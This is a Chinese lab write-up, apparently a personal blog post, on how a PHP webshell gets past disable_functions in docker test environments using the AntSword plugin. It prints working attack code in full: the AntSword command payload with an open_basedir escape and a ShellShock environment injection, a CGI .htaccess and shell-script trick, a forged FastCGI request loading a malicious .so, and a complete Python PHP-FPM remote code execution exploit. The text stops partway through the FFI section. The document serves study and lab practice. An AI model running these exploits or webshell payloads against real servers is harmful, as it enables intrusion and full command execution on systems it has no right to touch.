webshell绕过disable_functions
# 前言
学习webshell绕过disable_functions中的姿势
复现地址:bypass_disable_functions (opens new window)
碎语
整个复现过程下来,在windows wsl docker下编译compose文件鸡飞狗跳,各种奇奇怪怪的问题,换到纯linux ubuntu环境一路顺畅....
# disable_functions
在php.ini
php配置文件中,有一个高级配置项disable_functions
,可以禁用高危函数,并且不能通过ini_set
函数修改
学习大佬们的骚姿势,绕过限制
# 高危函数
尝试复现过程,发现禁用了很多函数,蚁剑连接木马后还是可以执行命令
disable_functions = exec, shell_exec, system, passthru, eval, assert, popen
尝试给蚁剑上代理,走8080端口,使用bp抓包,分析蚁剑流量
蚁剑
burp
抓包
格式化一下,分析
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) { $d = array(); }
else { $d = array_map('trim', array_map('strtolower', $d)); }
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
}
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) { @system($c, $ret); }
elseif (fe('passthru')) { @passthru($c, $ret); }
elseif (fe('shell_exec')) { print(@shell_exec($c)); }
elseif (fe('exec')) { @exec($c, $o, $ret); print(join("\n", $o)); }
elseif (fe('popen')) { $fp = @popen($c, 'r'); while (!@feof($fp)) { print(@fgets($fp, 2048)); } @pclose($fp); }
elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) { print(@fgets($io[1], 2048)); }
while (!@feof($io[2])) { print(@fgets($io[2], 2048)); }
@fclose($io[1]); @fclose($io[2]); @proc_close($p);
}
return $ret;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
可以看到,蚁剑在尝试使用system
、passthru
、shell_exec
、exec
、popen
、proc_open
等函数执行命令,只要有一个函数没有被禁用,就可以执行命令
完善disable_functions
disable_functions = exec, shell_exec, system, passthru, eval, assert, proc_open, popen
在全部禁用后,可以看到,蚁剑不能执行命令
一个更全面的禁用函数列表
disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
# 蚁剑插件
在蚁剑插件市场,下载绕过disable_functions
插件
在webshell管理界面,加载插件
在插件界面,可以看到,插件有多种方式绕过disable_functions
下面尽可能多的尝试
# 01 利用Linux环境变量LD_PRELOAD
# 补充
LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库
windows和linux下的动态链接库格式
- dll = windows 的动态链接库文件 把一些功能函数封装在dll文件中,调用时导入调用即可
- so = linux 动态链接库文件
LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用,借此可以达到劫持的效果,通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库
# 配置与部署
利用条件:
- linux系统
- putenv()函数没有被禁用
- 可以调用子进程的函数
mail()
、imap_mail()
、mb_send_mail()
、error_log()
等函数 - 存在可写目录,可以上传so文件
LD_PRELOAD 复现环境 (opens new window)
docker部署
docker compose up -d
在compose文件里,容器会映射到主机的18080
端口
php.ini 配置如下:
disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
# 利用
使用条件
Linux
putenv
mail
orerror_log
本例中禁用了mail
但未禁用error_log
- 存在可写的目录, 需要上传
.so
文件
使用蚁剑disable_functions插件,选择LD_PRELOAD
模式
蚁剑已经检测到putenv
、error_log
可用
开日
已经上传了代理php文件,通过这个.antproxy.php
文件创建新进程和php-fpm进程通信,不受php.ini限制
创建webshell副本,通过这个antproxy.php
文件连接,密码同连接时的密码
连接后,终端里可以执行命令了,不过没有权限查看flag
find命令可以发现存在suid命令
find / -perm -4000 -type f 2>/dev/null
# 原理
- 上传恶意so文件
- putenv函数设置LD_PRELOAD环境变量,劫持函数
分析上传的so文件,其中有一句命令
/bin/sh php -n -s 127.0.0.1:60199 -t /var/www/html
/bin/sh
执行php
-n
不加载php.ini配置文件-s
使用php内置web服务器,监听在60199端口-t
表示指定目录 /var/www/html
再看一下antproxy.php
文件
展示部分代码
这个php把请求转发到上面使用php开启的内置web服务器的61780端口,进行处理请求,因此整个流程绕过了php.ini的限制
# 02 ShellShock
# 原理
引用Geekby (opens new window)师傅博客
关键:PHP 里的某些函数(例如:mail()、imap_mail())能调用 popen 或其他能够派生 bash 子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。
我去,精彩。利用可以创建bash子进程的函数,触发破壳漏洞,利用破壳漏洞定义函数执行命令,有意思
# 配置与部署
php.ini 配置如下
disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
ShellShock 复现环境 (opens new window)
docker部署
docker compose up -d
在compose文件里,容器会映射到主机的18080
端口
# 利用
利用条件:
- Linux 操作系统
- putenv
- mail or error_log 本例中禁用了 mail 但未禁用 error_log
- /bin/bash 存在 CVE-2014-6271 漏洞
- /bin/sh -> /bin/bash sh 默认的 shell 是 bash
AntSword 虚拟终端中已经集成了对 ShellShock 的利用, 可以在虚拟终端直接执行命令
可以在上面蚁剑流量分析里找到shellshock
的绕过姿势
这里是抓取的一份蚁剑webshell终端执行ls命令的流量
点击查看
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
// 绕过 open_basedir 限制
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split("/[;|:]/", $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) continue;
$tmdir = $item . "/.4ce2376c";
@mkdir($tmdir);
if (!@file_exists($tmdir)) continue;
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/[\\\\|\/\/]/", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
function asenc($out) {
return $out;
}
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "5b8e" . "a5cdd";
echo @asenc($output);
echo "542ba" . "3c7833";
}
ob_start();
try {
// 解析 base64 编码的参数
$p = base64_decode(substr($_POST["c045fb6cb12372"], 2));
$s = base64_decode(substr($_POST["jbb3acf47e78a1"], 2));
$envstr = @base64_decode(substr($_POST["c58e587ec1d00d"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
}
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") !== FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { :; }; {$c} >{$tmp} 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("\n", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}
$ret = @runcmd($r . " 2>&1");
print($ret != 0 ? "ret={$ret}" : "");
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
其中有关于shellshock
的部分,就是说,蚁剑已经默认支持shellshock
的绕过姿势,不需要额外的插件来实现,直接终端执行命令即可
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") !== FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { :; }; {$c} >{$tmp} 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 03 Apache Mod CGI
# 原理
apache通过cgi处理请求,每个请求都会生成一个独立的进程,导致系统资源被大量消耗,如果选择把php作为一个模块apache_mod_php
时,PHP 代码在 Apache 进程内执行,不需要额外为每一个请求创建独立的进程,高效提高资源利用率,可以通过php.ini
配置php模块。
如果 Apache
服务器启用了 Mod CGI
,那么apache服务器可以直接运行 .cgi
或 .sh
脚本,攻击者可以创建一个包含恶意代码的 CGI
脚本,让 Apache
直接执行,调用系统命令,整个过程与php模块无关,不受php.ini限制
# 配置与部署
php.ini 配置如下:
disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv
相比 LD_PRELOAD姿势 多了
putenv
ShellShock 复现环境 (opens new window)
docker部署
docker compose up -d
在compose文件里,容器会映射到主机的18080
端口
使用条件
Linux
- Apache + PHP (apache 使用 apache_mod_php)
- Apache 开启了
cgi
,rewrite
- Web 目录给了
AllowOverride
权限 - 当前目录可写
# 利用
正常连接后,无法执行命令
使用蚁剑disable_functions插件,选择Apache Mod CGI
模式
可以看到,利用插件前,左侧参数都处于NO
状态
使用后,左侧参数都处于YES
状态,并且可以执行命令了
这个插件做了什么?修改了配置文件吗?验证一下
查找最近修改的10个文件并按时间排序
find / -type f -exec ls -lt {} + | head -n 10
最近修改的文件有.htaccess
文件、shell.ant
文件
.htaccess
文件把ant结尾文件作为cgi文件处理
Options +ExecCGI
AddHandler cgi-script .ant
2
在shell.ant
文件里,是刚刚执行的命令
#!/bin/sh
echo&&cd "/var/www/html";find / -type f -exec ls -lt {} + | head -n 10;echo abc01;pwd;echo 798e305c6
2
# 04 PHP-FPM 利用 LD_PRELOAD
# 原理
- 没有禁用
putenv
函数,可以使用putenv
函数设置LD_PRELOAD
环境变量,劫持函数 - 存在可写目录,可以上传so文件
- mail()、imap_mail()、mb_send_mail()、error_log()等函数可用,可以调用子进程
php.ini 配置如下:
disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
没有禁用putenv
函数
# 配置与部署
PHP-FPM 利用 LD_PRELOAD 复现环境 (opens new window)
docker部署
docker compose up -d
在compose文件里,容器会映射到主机的18080
端口
# 利用
使用条件
- 没有禁用
putenv
函数,可以使用putenv
函数设置LD_PRELOAD
环境变量,劫持函数 - 存在可写目录,可以上传so文件
- mail()、imap_mail()、mb_send_mail()、error_log()等函数可用,可以调用子进程
检测到putenv
、error_log
、file_put_contents
函数可用
开日
# 05 PHP-FPM
# 原理
Nginx、FastCGI、PHP-FPM的工作流程
- 客户端请求:
客户端发送一个 HTTP 请求到 Nginx,例如 http://example.com/index.php
- Nginx 处理:
Nginx 根据配置文件判断这是一个 PHP 请求,于是将请求通过 FastCGI 协议转发给 PHP-FPM
- PHP-FPM 处理:
PHP-FPM 接收到请求后,解析 FastCGI 协议,找到对应的 PHP 脚本(如 /var/www/html/index.php),执行该脚本
- 返回结果:
PHP-FPM 将脚本的执行结果通过 FastCGI 协议返回给 Nginx,Nginx 再将结果返回给客户端。
可以上传一个php文件,伪造一份fastcgi协议封装的请求给php-fpm,php-fpm会解析这个请求,执行php文件
举例,这里是一个伪造的fastcgi协议请求
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'extension_dir = /tmp/evil.so',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
分析这份fastcgi报文的关键点:
- 要注意
SCRIPT_FILENAME
字段的php文件一定要存在,因为这份请求是要交给SCRIPT_FILENAME
字段的php文件执行的 - 字段
PHP_VALUE
可以定义php.ini
的配置项,使用php配置文件里的auto_prepend_file
配置项搭配php://input
伪协议来实现文件包含 - 字段
PHP_ADMIN_VALUE
可以设置除disable_functions
外的配置项,可以配置extension_dir
字段,达到在php启动时劫持动态加载的动态链接库
可以看到正常的php扩展目录
在第三点里,可以间接体现出LD_PRELOAD
的绕过姿势
# 配置与部署
php.ini 配置如下:
disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv
相比 04 禁用了 putenv
函数
php-fpm 复现环境 (opens new window)
docker部署
docker compose up -d
在compose文件里,容器会映射到主机的18080
端口
# 利用
使用条件
Linux
PHP-FPM
- 存在可写目录,可以上传so文件
正常连接后,无法执行命令
使用蚁剑disable_functions插件,选择fastcgi/PHP-FPM
模式
验证一下插件做了什么,查找最近修改的10个文件并按时间排序
find / -type f -exec ls -lt {} + | head -n 10
上传了恶意so文件,一个php的流量代理php文件,把流量代理到 /bin/sh php开启web服务器的端口
事后,再查看phpinfo信息里的extension
配置项,没有任何变化,那么说,fastcgi协议伪造只是单次有效,不影响全局模式?够....够隐蔽?
一个php-fpm未授权利用的exp
点击查看
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
使用方法:
python3 exp.py -c '<?php 要执行的php代码?>' -p 28141 ip 存在的php文件
# 06 Json Serializer UAF
# 原理
此漏洞利用 json 序列化程序中的释放后使用漏洞,利用 json 序列化程序中的堆溢出触发,以绕过 disable_functions 和执行系统命令,UAF 一次可能不成功,多次尝试
# 配置与部署
php.ini 配置如下:
disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv
Json Serializer UAF 复现环境 (opens new window)
docker部署
docker compose up -d
在compose文件里,容器会映射到主机的18080
端口
# 利用
使用条件
- Linux 操作系统 PHP 版本
- 7.1 - all versions to date
- 7.2 < 7.2.19 (released: 30 May 2019)
- 7.3 < 7.3.6 (released: 30 May 2019)
看起来要求好像没有那么严格,只需要linux系统以及php版本在7.1左右即可
正常连接后,无法执行命令
使用蚁剑disable_functions插件,选择Json Serializer UAF
模式
# 07 PHP7 GC with Certain Destructors UAF
# 原理
此漏洞利用 PHP GC程序堆溢出来绕过 disable_functions,适用于目前 PHP7 绝大部分版本,UAF 一次可能不成功,多次尝试
# 配置与部署
php.ini 配置如下:
disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv
PHP7 GC with Certain Destructors UAF 复现环境 (opens new window)
docker部署
docker compose up -d
在compose文件里,容器会映射到主机的18080
端口
# 利用
利用条件
- Linux 操作系统 PHP 版本
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date
适用于绝大多数linux+php7的环境
插件使用PHP_GC_UAF
模式直接开日
# 08 利用 FFI 扩展
# 原理
PHP 7.4 的 FFI(Foreign Function Interface),即外部函数接口,允许从用户在 PHP 代码中去调用 C 代码,在php命令执行函数被禁用了,可以利用FFI扩展,使用c函数来执行系统命令
# 配置与部署
php.ini 配置如下:
